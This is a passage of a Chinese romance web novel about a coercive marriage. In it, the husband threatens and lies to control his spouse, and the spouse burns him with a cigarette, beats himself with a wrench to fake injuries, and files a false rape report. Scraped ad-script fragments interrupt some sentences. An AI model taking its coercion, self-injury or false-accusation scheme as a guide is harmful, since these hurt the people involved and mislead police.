见程荆没什么反应,他继续缓缓陈述着:“你淋雨昏倒后我就电话联系了你的父母,我和他们说你没事,只是着凉,但我当然也可以现在和他们通个电话,好好聊聊你的近况。” 梁景珉把“好好聊聊”四个字说得很慢。 他已经很久没一次性说过这么多话了,程荆想着,后知后觉地才想起来要生气。 他脸紧绷着,气得一句话说不出来,梁景珉拿捏着程荆的软肋——他绝不会愿意让父母知道他过的是什么日子。 梁景珉笑了,在床边的椅子上松弛地坐下来,往后靠在椅背上说:“宝贝,我最爱看你生气的表情。” 他很懂得软硬兼施:“脾气也该闹够了,病养好了我们就回去,月底股东会,我们去博览园吃好吃的。” 梁景珉这么说其实是在求和,外人恐怕几年也难见梁景珉这样放下身段一回,程荆却全然没在意,只答非所问道:“你自作主张带我来医院,帮我请假了么?” 梁景珉轻轻抬了抬眉毛:“我帮你辞职了。” “辞职?”程荆一瞬间像是被逗笑了,下一秒却是气得手上颤抖:“为什么?梁景珉,你凭什么?” 这很像是梁景珉能做出的事情,既然不是第一次,自然也不会让程荆过分惊讶,然而他还是没能压住情绪。 这句没说完的控诉被梁景珉打断,他站起身来,一只手托住了程荆的右半张脸,将他紧紧抵在病床靠背上:“凭你是我太太,这还不够么?” 程荆想了很久,也没有想明白梁景珉为什么要来。 最开始他用尽手段逼他嫁给他,程荆理解他留自己在身边方便他长长久久地折磨自己。 但现在他却很不明白,分明自己干干净净走掉对两人都是最好的选择,他却偏偏要跑这么远来毁掉自己贫瘠的生活。 不爱他也就罢了,却要侮辱折磨他,他已经很惨了,却偏要让他更加难堪。 程荆闭着眼睛冷笑:“我算是哪门子的太太?你不是正要有新太太了么?” 梁景珉神色略微变了,问:“你从哪里听说的?” “消息都铺天盖地了,偏我不能知道?” 梁景珉的表情很坚持。 “梁昱霖告诉我的,”程荆很无所谓地回答,“讲真的我对你们兄弟俩的把戏一点都不感兴趣,当初你非要和我结婚不就是因为他么?这么多年你也早该腻了吧?” 他轻轻凑近了梁景珉的耳侧,嘲讽地接着问:“还是说,你真喜欢玩男人啊?” 梁景珉的表情看不出喜怒,却隐隐显得有点兴奋,仿佛终于能从程荆面颊上看到一点像活人的情绪令他无比有成就感似的。 他低头斟酌了一下字句,挑衅似的开口:“是啊,程荆,这事情你不是早知道?” 他的吐息好像近了一点,程荆开始觉得有些缺氧,耳侧的话变得有些冷酷:“再说了,最开始喜欢我的不是你么?我记得我求婚的时候你看起来很高兴。” 程荆不说话了,室内还笑得出来的只剩下梁景珉一个。他乘胜追击着:“另外,我没时间回答你的所有疯话,”话音落下,他慢腾腾打开手机当着程荆的面在键盘开始拨号。 这是程荆烂熟于心的号码,在他年幼时母亲强迫他一个不落死死背在脑袋里以防走丢的号码,现在梁景珉居然也可以背下来,气宇轩昂地拿出来威胁程荆。 他点数字的速度很慢,留给程荆充足的思考时间,每个冰冷的“滴”声都是一次凌迟。 程荆的手抖得更厉害了。 梁景珉盯着程荆的眼睛,号码输入完了,程荆还是没有说话。 后来程荆思考着梁景珉能成功的原因,或许和他的性格也是分不开的。这是他从他那个扭曲有毒的家庭长大所汲取的生存本能——他总有能沉住气的底气,敢于较劲到最后一刻。 在他的手触碰到屏幕的前一秒,程荆抓住了他的手腕。 “你赢了,我和你回去。”程荆说,接着把头掉转过去,一个眼神也不愿意分给他了。 梁景珉眼睛里冒出一点得意的光,去托程荆的侧脸,也不管过分的究竟是谁,只说道:“好了宝贝,别生气了,你真是这辈子发不完的脾气。” 梁景珉太了解程荆,太了解他的软肋是什么、他惧怕什么,以及他的行为模式。例如当程荆第一次出口试探时倘若他没有顺着话头给出答案,他就一定不会追问。他们都是太聪明冷静的人,一个眼神就可以省出许多情侣撕心裂肺三天三夜才能吵完的时间。 梁景珉不会去想自己这些伎俩还能用多少年,只要程荆不变,他就可以永远恶劣。 程荆的嗓子本来就难受,方才说了太多话,情绪又激动,这下忽然按着胃干呕起来。 他看起来简直难受极了,耳侧的血管清晰分明,脸上涌出一层痛苦的血色,像一朵皱缩的玫瑰花,迫切想将喉咙里的刺全吐出来。 梁景珉最初有点慌张地要按铃呼叫医生,但程荆往身后摆了摆手,很快缓了过来。 见他没事,梁景珉又出言刻薄:“和我说话就这么令人作呕?” 程荆难受得说不出话,低着头呼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吸,过了很久才哑着嗓子回答:“是有一点。” …… 大概是因为向程荆表述出要带他回湖畔别墅时他的反应太过激烈,又或许是单纯因为更近,梁景珉没有解释,直接带他回了西京市中心的顶层公寓。 这里程荆也来过几次,从前梁景珉一直独居在此,其实一个人住平层远比别墅方便,那时候湖畔别墅还只是夏天度假的临时居所,现在反倒常住了。 管家回了别墅,偌大的屋子只剩下他们两人。 程荆嗓子好了些,咳嗽却重了,梁景珉给他冲了药又送进被窝,自己去浴室洗澡。 程荆光着脚踩在地面上,没有什么灰,想必梁景珉一早决定要来,吩咐人打扫过了。两人一直在一起,他竟然也没有察觉。 湖畔别墅太僻静,一开始他很喜欢,但久而久之就显得太孤独。这里却正好,从卧室的落地窗向外望,正好可以俯瞰首都市中心繁华的夜景。 他莫名觉得有点熟悉,这时候才想起来原先的单位就在隔壁大楼,看的是同一片景色,难怪熟悉。 这里无论是地段还是条件都无可指摘,日出、日落景色都好看,上班只要几步路,难为梁景珉竟肯搬出去,选择住在通勤一个半小时的湖畔别墅。 程荆听着远处哗哗水声,觉得前几天的几场出逃仿佛一场梦,地段决定记忆,一旦回到西京,月城的人生就好像上辈子一样。 可惜他还没和班上的同学告别,还没能讲完已经备好的课,拟化学题的时候他能感觉到一种沉静,这是似乎只有学生时代才能拥有的感受,浮华的西京没有那样的气氛。 他靠在床上思索着现状,不知道这次梁景珉打算怎么办。最初他看起来动了大气,回了公寓后又显得很平和,和什么都没有发生过一样。 程荆控制着自己不去想可能会发生的事情,只把思绪放在当下。梁景珉洗澡不会太久,现在想必接近尾声,程荆知道今天恐怕没机会了,一切还得从长远来看。 他小心翼翼地开始翻箱倒柜,很轻易地从床头柜翻出一包烟和打火机。梁景珉这种精英竟然也会抽烟,且某些时候抽得很凶,他刚发现的时候很讶异。 程荆点燃了烟,灰色烟雾袅袅升起,他是不抽烟的。 烟头微弱的火光倒映在程荆的眼底,他的眼神很平静,像是捕食者在夜色中静候猎物的平静眼神。 一支烟即将燃尽的时候梁景珉走了进来,坐在他身边,问:“你怎么学会抽烟了?” 程荆回答:“没有,点着玩。看你抽过,想知道是什么感觉。” 梁景珉的手放在了程荆的肩膀上轻轻摩挲,声音有点飘渺,问:“什么感觉?” 程荆的唇角抬出个看不出来的弧度,话说出口却很平淡:“呛,而且对身体不好,你以后别抽了。” “那你还不赶紧熄了?”梁景珉的语气带了点命令的口吻。 程荆没什么反应,下一秒伸手将烟按灭在梁景珉大腿上。 浴巾被烧出一个洞,火光触及皮肉,程荆闻到烧焦的味道在卧室里弥漫开,和这里一尘不染的精致气息格格不入。 程荆轻轻偏头,窗外明灭夜色衬出他清晰眉目,梁景珉没出声喊痛,反倒凑过来和他接吻。 9. 欺骗 梁景珉伸手抚摸程荆的腹背像是抚摸潮水,在潮涨潮落中程荆的呼吸缓缓重起来。 周遭的事物缓缓消散,身躯变为液体顺着依附的骨骼缓缓流淌,程荆伸手触摸梁景珉的轨迹与骨骼,顺着膝弯一路摸到腿上的烫伤,忽然后知后觉替他感觉到痛。 但同时他又有些隐秘的喜悦。伤口不大,但在行走的摩擦中不可忽视,每每作痛的瞬间,梁景珉一定都会不可抑制地想到他。 所以其实爱就是痛,他不过寻找了一个简单的替代品,妄图让梁景珉品尝自己每日经受的痛苦。 但很快他就无暇思索这些了,梁景珉拿捏他的身体比他自己还要更加在行。 身体愉悦时会爆发出一种类似于爱的虚伪感受,对于程荆而言这却是割裂的凌迟。他靠在梁景珉身上急促呼吸,下唇咬出血,试图抵御这种本能。 梁景珉的五指插入他的凌乱发丝,捧住程荆后脑,在他耳边低声说话,他向来低沉冷淡的声音里竟然也有听得出的意乱情迷:“喊出来吧,这里又没有别人。” 他用力地吻着程荆,程荆放弃了抵抗。灼热的心跳和呼喊像是大地的脉搏,悄无声息消弭于无边夜色中。 …… 醒来的时候程荆身上有一点酸痛,在正常的范畴内,大概因为他生病,梁景珉格外收敛。 他往身侧探手,被子是凉的,想必梁景珉已经离开多时。他本来就忙得抽不开身,非要往月城走一趟,堆起来的事情一定足够今夜撑至凌晨。 程荆没有马上起床,而是躺在被子里闭着眼睛听了十分钟,这漫长的十分钟里,房间里并没有脚步声。 他坐起身来,床头柜上放着透明的小盒子,六片分好的彩色药片,分别标明了服用时间,另外还摆着三瓶口服液。 不过只有早、中、晚三个字,程荆却一眼看出是梁景珉写的,他学生时代曾经无数次偷窥过他的作业本,梁景珉所写的议论文也曾与其余年级翘楚们一同打印成册分发,他的笔迹相当潇洒。 坐在大床上的程荆出了一口气,把没有用的思绪从脑海里赶去,将标着“早”的药片就着口服液吞了下去,整个口腔都是苦的。 他走下床,简单洗漱了一下,开始了对这个偌大公寓的探索。他没有放过每一个隐藏的柜子和箱子,到头来却几乎一无所获,梁景珉的私生活比他想象得更为贫瘠,估计也有这个屋子久未居住的原因,大部分储物空间都是空的。 他找到一把扳手,掂量了一下觉得颇合心意,于是顺手藏到了床底。此外他还在一个大收纳箱里翻到了一个老式的触摸屏手机,这个品牌似乎曾经也有过脍炙人口的广告词,但如今已经鲜有人使用,少说也有十年历史。 没电没卡,程荆原本没抱希望,然而他只略微一伸手就顺道翻到了充电器,书房的路由器上也竟然堂而皇之地贴了wifi密码。 二十分钟后,这个破手机竟然十分幸运地开了机。点一下要反应十几秒,好在程荆有的是时间和耐心。 手机下个应用仿佛要一个世纪,于是程荆百无聊赖地刷起自带的视频网站。 他忽然发现自己和现实世界脱轨太久,几乎已经很难融入,评论区的笑话和用语都很陌生,无法理解。长视频太无趣,短视频太嘈杂,在湖畔别墅时已经看过太多电影和电视剧打发时间,程荆又一次百无聊赖了。 可巧此时门口传来电子锁开的声音,不过刚近中午,梁景珉竟然回来了。程荆有点手忙脚乱地收拾残局,将旧手机也藏在床底下。 梁景珉很平常地宣告说要带他出去午餐,程荆冷漠地听着,有些不以为然。他的喉咙没好全,吃东西像吞刀片,再好吃的东西也索然无味。但他不舍得放弃出门的机会,所以并没有立刻回绝。 “你没有工作要做吗?”他问。 “我不回来,你会吃午饭吗?”梁景珉冷冷地噎回去。程荆哑口无言。 不知道什么时候开始梁景珉已经比程荆自己更了解他的行为轨迹。 于是二十分钟后两人坐在了一家独栋的餐厅内,内部装潢是中式的,无处不精致,包间里竟然还带麻将桌。 程荆小口小口喝着粥,没想到梁景珉竟然能想到顾忌他的病。一碗再朴素不过的白粥里飘了些稀罕贝类,便要卖出够他吃一周饭的天价,有钱人当真是最好骗不过。 大概是程荆看麻将桌的眼神太炙热,梁景珉开口:“你想打麻将我下次喊几个人陪你。” 程荆摇摇头:“赢你的钱有什么意思,左口袋进右口袋。” “那也得你能赢才行,宝贝。”梁景珉一边收拾吃完最后一口饭,一边挑着眉答道。 “我两点钟有会,已经喊翟叔来了,他会送你回去。”他伸手看表,已经一点四十。 程荆不理他,很怕他说出要回湖畔别墅住的事情。他先前逃跑的帐梁景珉还没算,他有点怕等自己病好了就是要付账的时候。 他很想开口问问,又怕梁景珉原本没想到这回事经他一提反而想起,于是犹犹豫豫最终也没说。 梁景珉补充道:“想要什么和我说,别再想着到处乱跑。” 程荆偏头说:“好,我受够了闷在家里,我想工作。我什么时候可以回去工作?” 梁景珉冷冷看过来:“哪一份?” 程荆无声地笑起来,觉得这个问题真是可笑透了,但还是耐心地给出了答案:“月城那一份。我才刚开始讲有机,课都备完了。”话说完他一口气没喘上来,咳了几声。 梁景珉没有同意,只是冷笑:“说起来你还挺享受当乡村教师的?” 程荆听出他的嘲讽,没有回答,只是干干地反嘴:“你对破坏我的事业还真是相当热衷……但这回总没人和你打赌了吧?我教教孩子又是哪里碍了你的事?” 梁景珉受够了无用的斗嘴,本来已经走到门口又折回来,手轻轻按在程荆肩膀上,温声说:“只要你不再乱跑,等你养好了身体,这些都可以再议。” 话音落下梁景珉俯身想给程荆一个吻,被程荆偏头躲开了。 他罕见地没有追究,只是垂目浅笑,转身离开了。 翟管家来得晚了点,进包间时程荆正在与服务员聊天。她手里还拎着茶壶,但已经连孩子上哪家学校都和程荆分享了。 见程荆要走了,她还恋恋不忘地说:“程老师常来啊!”程荆对她温和一笑,摆手做告别。 管家有点诧异,大概是很久没见过程荆谈笑风生的样子。他心里琢磨着,若是程荆不那么犟,肯将给陌生人的好脸色施舍给梁景珉一半,或许所有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人的日子都能好过很多。然而话又说回来了,站在程荆的角度,梁景珉的确不配。 正是他琢磨的这会儿,程荆已经先出了门:“你还愣着做什么?” 他摇摇头,赶紧跟着出去了。 送程荆回到顶层公寓之后管家就离开了,此时回到房间程荆打开藏在床底的旧手机,微信已经下载好,未读消息很多,他一条一条开始看。 先是一中的教研组同事问他为何突然由先生代为辞职,还有许多加上的同学微信发来同老师告别的信息。 这些都属平常,他一条条读完了却没有回复,倘若日后很难再逃脱梁景珉身侧,就最好不要多此一举。 然而读完林殊珩的消息后,程荆却仿佛被冻在了原地。 “程荆,你现在在哪里?在梁景珉身边吗?你爸爸妈妈接到消息说你生病住院,然而却没找到你,追着学校联系到了我这里。” “和他们聊了几句,明白你没有同他们说过这些年的近况,我也没有多嘴。但他们看起来知道的比想象多。如果看到这条消息,记得早些和他们联系,他们很焦急。” “如果需要帮助,随时联系我。” 他想起梁景珉信誓旦旦的承诺,说不会和他的父母说自己的近况,原来又是谎言。 程荆气得额前血管突突跳动,心跳得诡异般快,不敢置信梁景珉又一次骗了他。他失手将手机砸到了地上,本就在苟延残喘的老式机彻底宣告了报废。 程荆一直以来忍受着梁景珉为所欲为的原因在于,即便他强势、冷漠、肆无忌惮,但他鲜少触及程荆的底线。然而这一次有所不同。 程荆颤抖着呼吸,捏着脉搏数数,以期让自己不要发疯。 终于平静下来的时候窗外已经华灯初上,程荆手里点着一根烟,靠在窗边吹风。发丝随风凌乱飘飞,他觉得自己从没这么冷静过。 这天晚上风有点凉,程荆没再动写着“中”和“晚”的药片,穿上了衣柜里梁景珉的衣服。果然人靠衣冠,穿上裁剪精良的西装,程荆整个人也显得昂贵起来。 门是从外边反锁的,他用座机打给前台让他们来开锁,15分43秒后到达了隔壁大厦楼下,手里捏着一束娇艳欲滴的玫瑰花。 梁景珉一早吩咐过前台,倘若程荆出门需要给他电话报备,此刻他刚接到电话正要下楼回家时,正巧迎面撞上斜倚在前台的程荆。 修身西装衬得身段挺拔,长衣长裤包裹住程荆的四肢,没人看出他走路时步伐略有些滞涩。大约是因为他惨白皮肤发色过分扎眼,此刻正是下班高峰期,身侧行经的人无一不为他侧目。 梁景珉看见这一幕的第一反应是荒谬,他憋着气走到程荆跟前,正要开口质问。 然而下一刻,程荆将喷了水的红玫瑰递至他眼前,晶莹剔透的浅色双眸含着潋滟笑意。 他用仍旧带些沙哑的嗓音开口道:“中午吃完饭和服务员聊天,听说今晚八点河边有烟花秀,你既然都下来了,那么今晚赏脸陪我去看看吧。” 梁景珉的心漏跳了半拍。 见他不答言,程荆垂目勾了勾唇,眼角笑意深了:“怎么,不方便?” 分明知道事出反常必有妖,梁景珉没控制住回答道:“难得你出口邀请,我怎么好拒绝?” 10. 鲜血 因为附近在举办音乐节,河边破天荒放烟花,夹道挤得人山人海,刚驱车赶到河边时梁景珉心里就泛出强烈的打道回府的欲望。 然而程荆看起来相当有兴致,这自然极为罕见。于是梁景珉最终也没说出要离开的话。 半小时后他才找到地方停车,程荆理所应当地坐在副驾驶没动,等着梁景珉来替他开门。 梁景珉为他打开车门时开口问:“你穿的是我的衣服?” 程荆搭着他的手出车门:“不是你的难道是我的?” 梁景珉没和他计较,答道:“我们到附近定一个餐厅,从窗子里往外看岂不是更好?非得在这里人挤人?” “挤才有氛围嘛,”程荆挑了挑眉,将梁景珉的眼睛盯住,“偶尔挤一挤也很有意思。” 兴许梁景珉自己也没有意识到自己这天夜里的心情很不错,心动像是一种麻痹神经的药物,让人丧失对近在眼前的危险失去基本的感知力。 烟花炸开的时候他们正倚靠在河边的栏杆上,程荆中午时才偏头避开梁景珉的亲吻,此刻却拉着他的领带主动吻上去。 对此以梁景珉平日的直觉自然会发掘有什么不对劲的事情即将发生,然而这一天却任由自己沉沦在程荆冰冷的亲吻里。 等到人潮散场,两人驱车回到云顶公寓,梁景珉便迫不及待将程荆摔上了床。程荆肆无忌惮地亲吻他,喘息间吩咐着要他关灯。 他这夜显得格外敏感,梁景珉被他的反应激得更为肆无忌惮。两个人似乎都比平时更加疯狂。 等到梁景珉终于睡熟,程荆也已经累得睁眼都费劲了。但他强撑着没有睡过去,而是起身去观察梁景珉的睡颜。 确认他睡熟后,程荆蹑手蹑脚下了床。那套他精心挑选的西装此刻皱皱巴巴扔在地上,他踩在上面,蹲下身从床底下翻出那把他藏的扳手。 早些时候他已经使用过,留了画龙点睛的一笔尚未完成,他起身稍微摸索了一下,捎上了梁景珉的手机,溜进了卫生间。 镜子里倒映出他惨白的面孔以及眼下两团浓重的乌青。然而此刻他身上未着寸缕,是以还有一些其他东西更为骇人—— 他的胳膊、两腿、脊背上,除却已经愈合的伤口外,此刻遍布青紫的淤痕,让人看来倒吸一口凉气,不觉要为他感受到钻心的疼痛。这是殴打才能形成的伤痕,自然不是来源于刚刚结束的这场缠绵。 程荆歪着头对镜端详着,认为效果还算差强人意。 因为担心若是所有伤痕都留到晚上来弄,或许淤青便不能很快显现出来,所以早在出门前程荆就早早下了手。 不知道梁景珉什么时候会醒来,他时间有限,所以动作很快,先是穿上了自己原先的衣服,废了些功夫将领口处撕烂,接着他将毛巾塞进嘴里咬住,双手举起扳手,长吸一口气,在心里默数了几秒,往自己的额头上重重一击。 这一击他用了全力,可惜人有规避痛苦的本能,劲略微使偏了,只砸中了眉骨,看起来不如正中眉心恐怖。 鲜血像一条蜿蜒的毒蛇,攀爬在程荆惨白的皮肤上尤其显得触目惊心。 同梁景珉斗智斗勇几年,程荆也并非全无成长,有着梁景珉做范例,他所学到最重要的一课就是:要想做成什么事,必须先能狠得下心来。 他任由血迹飞流直下染红了身上衣物,坐在马桶上缓了好一会儿才不再眼冒金星。 他喘了几口气,接着迅速抄起抹布清理好卫生间多余的血迹,将一切痕迹冲进马桶,扳手物归原位,接着打开手机紧急拨号,按下110。 电话那头很快接通,程荆的嗓音极为沙哑:“我要报警。” 电话那头不知询问了什么,程荆冷静答道:“强|奸。” 话音落下,他轻轻勾了勾唇,然而这笑意很快消失了。 …… 最先赶到警局的是湖畔别墅的翟管家,他提起接到熟人报信,独自前来查看情况。 此时程荆坐在警局医务室轮椅上,身上穿着绿色手术服,刚做完验伤并进行了简单的包扎。 他身上血迹尚未擦拭,此刻愈发显得触目惊心。右侧额前肿起拳头大的包,包上的纱布已经覆盖了小半张脸,只露出一只眼睛和青紫侧颊。 程荆缓缓睁开眼睛看过来时像捕兽夹中的兽物,雾蒙蒙的眼睛里有无措的茫然,让人心里不觉为他心痛。 他双唇干枯皲裂,渗透出已干的血迹,衣服盖住了大部分身上的皮肤,然而仅仅是能看见的部分便是让人看了倒吸一口凉气的可怖淤痕,不可忽视。 他的五指上全是干涸的血迹,见管家来到,他抬起了右手,竭力支撑着身侧桌面站了起来。 尽管管家向来在有限范围内对程荆相当照顾宽容,但出于各种复杂的原因,他无法欺骗自己他喜欢程荆这个人。 管家发自内心厌恶这个看似温和无害的不速之客,但从未与程荆撕破脸,此刻看见他站立得费劲,便立刻走上前来要搀扶他。 只见管家上前走到程荆跟前,出乎所有人的意料,程荆自己还未站稳,反手就是一个清脆有力的耳光打在管家左侧脸颊。 这一巴掌用了真劲,管家被打得后退一步,脸侧立刻浮起一个鲜红的五指印。 程荆也向后退了一步,跌坐在轮椅上咳嗽,仿佛这一巴掌就用尽了力气一般,管家眼眶里先是没反应过来的不可置信,接着便是忿恨之意。 他正待开口询问,程荆的闷咳中便夹杂出一句沙哑的:“滚!” 医护人员冲上来,将程荆护在身后,温和地请翟管家离开。 程荆的视线被隔开了,管家猜不透他在想什么,也猜不透这一巴掌是所谓何事。但他的伤痕血迹触目惊心,让人见之难以忘怀,这实在不像是梁景珉的手笔,于是离开医务室后他立即拨通了梁景珉的电话。 梁景珉其实是被警笛轰鸣声吵醒的,很快接到管家电话告知他情况,于是他没等到警察来请,是亲自驱车去的警局配合调查。 程荆据说被严密保护起来,拒绝在调查结束前与他见面,除此之外没有只字片语,前一夜的主动和温情都是一场预谋已久的陷阱,仿佛从未存在过。 梁景珉对此一直保持得很平静,直到看见程荆的验伤报告时才终于显现出坐不住的样子来。 眉骨开放性骨折伴活动性出血、全身多处软组织挫伤、撕裂伤……他的手段相较于上一次又升级了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >梁景珉冷静地阅读这些字句,皱着眉冷笑,下一秒将报告撕成了碎片。 程荆为了逃脱他身边,简直无所不用其极。 怒火散去之后,是有些空洞的悲伤。梁景珉沉默地想着,程荆宁肯忍受身体上的这些致命伤害也不愿意留在他身边,宁肯罗织这样一项肮脏的罪名,将两人的关系血淋淋撕扯成面目全非的样子,也要从他身侧脱身。 屋子浸泡在低气压内,翟管家似乎难以忍受沉默,开了口:“三年了,他还是一样的手段。” 梁景珉抬了头:“你不怀疑真是我干的?” “三年前,俱乐部斗殴,他不就是这样报警?看他身上那些伤,血流得到处都是,就知道不是你的手笔。” 精准、完美、一步都不能行差踏错,这是梁景珉的人生。他为人严谨,就算真的怒极要对程荆施加这样的伤害,也必然不会留下这么多血淋淋的证据。更何况他总犹如眼珠子似的看护着程荆,又怎么会做这样的事? 三年前,两人还没结婚,程荆也曾经报过一次警。那时候梁景珉对他的管控更为严格,他不得不采取过激的手段脱身。 他扮了两个月乖巧,终于获得跟着梁景珉去俱乐部的机会,几句话便哄着梁景珉招来一个颇有名气的钢琴家在眼前奏乐。还没等众人回过神来,他冲上前对着那弹琴的人就是一拳头挥上去,接着便是扭打在一起,简直豁出了命去,谁也没办法将他从那人身上扒下来,最后警方不得不介入。 他趁着笔录时趁机控诉梁景珉的行径,罪行洋洋洒洒记了几页纸,出来时警官脸已经黑得很难看。 不过那一次报警最终以失败告结。程荆身上痕迹太轻,警方无法做判断。梁景珉关系遍天下,最后只当情侣小打小闹不了了之。 程荆自然也为此事付出了代价,后来几乎不再踏足那个俱乐部。 梁景珉没有回答,想起验伤报告上冰冷的文字,问道:“他伤得厉害吗?说他眉骨断了,是怎么回事?” “是的,他倒也是真下得了狠手,我去的时候还一直止不住血,看起来……”翟管家看见梁景珉已经阴沉得不能再阴沉的脸色,止住了没说下去。 程荆是什么时候变成这样的? 梁景珉仔细回忆,发现不了他转变的源头,只想起记忆里的程荆,他从前仿佛是全世界脾气最好的人。 一中的记忆对于梁景珉而言很稀薄,他被家庭和学业撕扯,自顾不暇,对于周遭的一切都没有好奇心。 一中风气使然——成绩决定社会地位,没有人歧视程荆的病情。印象中程荆理化相当好,没分班的时候班上总有很多人爱在课间问他题目解法。 他讲得清楚,又来者不拒,大家都拿他当免费答疑老师,每次下课都要排成一条长队,乌泱泱的惹人讨厌,那时候梁景珉的朋友和程荆同班,总抱怨自己很不希望座位被排在程荆身边。 分班后他存在感低了很多,他们曾有过几次交流,不过时间隔了太久,梁景珉早已记不清了。 后来再见面时他和从前也几乎没变,好脾气、见人三分笑、从不让话头落到地上。 所以,温和有礼的程荆是从什么时候开始,变得极端而疯狂的呢? 11. 心动 梁景珉没有来得及思考完这个问题的答案,一位警员就开门走了进来。 他看起来很年轻,制服笔挺,绷着脸宣告:“梁先生,刚才程先生出具了和解书,将不对您进行起诉,您可以离开了。” 梁景珉微微拧了拧眉头,问道:“什么?” 警员是最初接待程荆做笔录的那一位,亲眼见到了他身上的种种刻骨伤痕,一腔义愤填膺没处散发,只得没好气地重复了一遍:“你们存在婚姻关系,而且程先生的伤只属于轻微伤,他刚才决定选择私下和解,所以您不必留在警局,可以直接离开了。” 梁景珉迅速反应过来,站起身来问:“他现在在哪儿?” “我不知道,他是您的丈夫,您可以自己联系。”正义的警员转身离开,不愿意再同梁景珉说一句话了。 梁景珉三步并作两步冲了出去,找到方才看护程荆的另一位警员问:“他人呢?” 警员被他拉住了胳膊,吃痛皱眉:“他刚签完字,说出去买包烟……” 梁景珉眉心痕迹又深了些——程荆根本不抽烟。 他迅速回头看向翟管家,吩咐得简短有力:“联系机场、火车站。不许程荆离开西京。” “我早些时候就考虑到了,”翟管家显得略微沉稳些,“如果他准备离开西京,我立刻会有消息,您别担心。” 梁景珉显然没有要宽心的模样,倒比刚刚脸色更差,顿在原地,不知想着什么,过了良久才终于开口。 “他上次坐飞机走的……”他此时的脸色已经煞白一片,“去高铁站。” …… 程荆站在人海中压低了帽檐,深知这次出逃的决定下得太过仓促冲动。 那日得知梁景珉违背诺言将事情捅到他父母面前,他被怒火冲昏了头脑,这些年来忍受痛苦,也有很大的原因是为了父母能不为他混乱的生活遭遇烦扰,能在小城平安顺遂一生。 直到在警局时首先看见翟振磊现身,他才明白这一定是梁昱霖做的局。 凶手总会回到犯罪现场观赏自己的成果,而当凶手本人不适宜出面时,出现的人有很大概率会是凶手的狗腿子。 翟振磊虽然为梁景珉服务,是跟他时间最长的管家,但程荆知道他真正效忠的对象是梁昱霖。他本人自然没那么大的狗胆也没那么大的本事私自做主骗到梁景珉头上来,所以背后做主的一定是梁昱霖。 程荆知道自己错了。然而但开弓没有回头箭,他无法挽回。 伪造伤痕原本也不是为了构陷梁景珉,这类伤痕根本经不起细查,所做一切不过是为了给自己争取更充足的时间逃走。 所以报了警后他原本就该即刻离开西京。然而他优柔寡断,犯了大忌,先是留下来做验伤,紧接着就迎来了翟管家的监视。 他自己也没弄明白自己的想法究竟是怎样的,是迫不及待想看见梁景珉被押送到警局狼狈不堪的样子,还是隐隐想要见他最后一面。 他被围困在天地囚牢里,捆绑住手脚的是背叛自己的感情,即便要付出自由的代价也没力气挣开镣锁。 像是静乡酷夏曾经吹拂过无数次的燥热的风,他不得不在盛夏也穿长袖,汗水顺着脖颈淌入衣领,浑身湿透,难受得四肢发抖。然而即便如此,他也贪恋林荫道足迹下的光斑,不肯走得太快。 好在他没有糊涂太久,很快借着买烟逃离了警局。 我怎么了?程荆问自己。那天夜里走得那样干脆,为什么过了两夜就会这样难? 大约是那夜烟花太炽烈,河畔缭乱烟火极尽喧嚣,犹如顶楼别墅里耳鬓厮磨时胸腔迸发的共鸣。 若要说到令程荆此生难以忘怀的焰火,包含上这一次,也拢共只有两场。 与西京不同,月城的河畔每逢节假都有烟花。 从晚自习第一节尚未下课开始,焰火炸裂声便响彻小半个月城,而一中占着个绝佳的地理位置,走出教室来到走廊,正巧能看见不远处的盛景。 回想起来那时候程荆似乎是高一,正碰上中秋节收假的晚自习,他坐在教室里解题。 烟花刚开始放时整个教室便都开始骚动,有人迫不及待往窗外探头探脑,有人在桌底下按着诺基亚按键,想喊另一个班的女朋友课间一同去操场看焰火。 程荆的同桌是高瘦的学习委员,长得颇清俊,听见放烟花也蠢蠢欲动想出去,便与程荆耳语:“我们别等下课了,要早点出去占个好位置,不然一会儿走廊里全是人,就什么也看不见了。” 程荆失笑:“亏你是学习委员,带的什么头?” 学习委员有些心虚:“你不去我可去了!”他抄起课本便要从教室后门尿遁。 看烟花还带课本,假努力。程荆不以为然地继续写题目。 学习委员料事如神,等到下课铃打响的时候走廊上已经挤得水泄不通,对面楼高三的同学也都挤满了过道,喧闹嘈杂仿佛世界末日,区别在于迎来的不是未知恐惧,而是一场盛大绚烂的告白。 程荆也是头一次看这样的热闹,隐隐的也十分兴奋,随着人潮挤到一处楼梯间的大玻璃后,这里视野相对开阔,看得更清晰些。 人太多,呼吸都碰撞在一起,灼热而恼人,玻璃上浮现出一层轻薄白雾,像无声的反抗。 不知道从什么时候乱起来的,不停有人互相踩到彼此的脚,惊呼声超过了烟花炸裂的响声,程荆也皱起眉头,没心思看烟花了。 身侧这时候挤过来几句颇模糊的人声:“我看再这么挤下去一会儿要出踩踏事故,咱们尽早走的为好。” 和他对话的人声音懒洋洋:“不是你偏要拉我来?这下又说要走,你生在月城,烟花也看过上百回了,有什么新鲜?” “你不是头一次来吗?请你跟请皇帝似的,带你来看还不乐意……” 程荆侧耳辨认听见的人声,莫名觉得熟稔,他在心里缓缓翻过曾听过的声线,正待要想起这熟悉声音来自于谁的时候,一个人正正踩中了他左脚脚尖。 程荆吃痛低呼,右脚向后撤去,然而一个踩空,他就这么从台阶上直直要倒下去。 说时迟那时快,一只冰凉的手拉住他的胳膊,企图阻止他继续下坠,然而惯性使然,那人也被拉着向下倒去。 楼梯上零零碎碎立着不少学生,这么栽倒下去,几乎也同时要受到人潮的阻拦,两人顿时碰撞在一起,鼻腔混杂满了一股好闻的气息。 彼时程荆不知道为什么在一群臭哄哄的高中男生中,会有一个人拥有这样一种独特的气息,让他想起年少去过的森林,下过雨后重叠树叶散发出的味道。 人们纷纷往两侧闪开,不知碰撞了几次,骨肉终于触及地面。程荆很瘦,磕得浑身作痛,所幸没磕到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头。他正想挣扎起身,忽然意识到是那人稳稳托住了自己的后脑。 他少年的手就有不容拒绝的力量,程荆僵住了一刹那,正巧与他目光碰撞交汇。 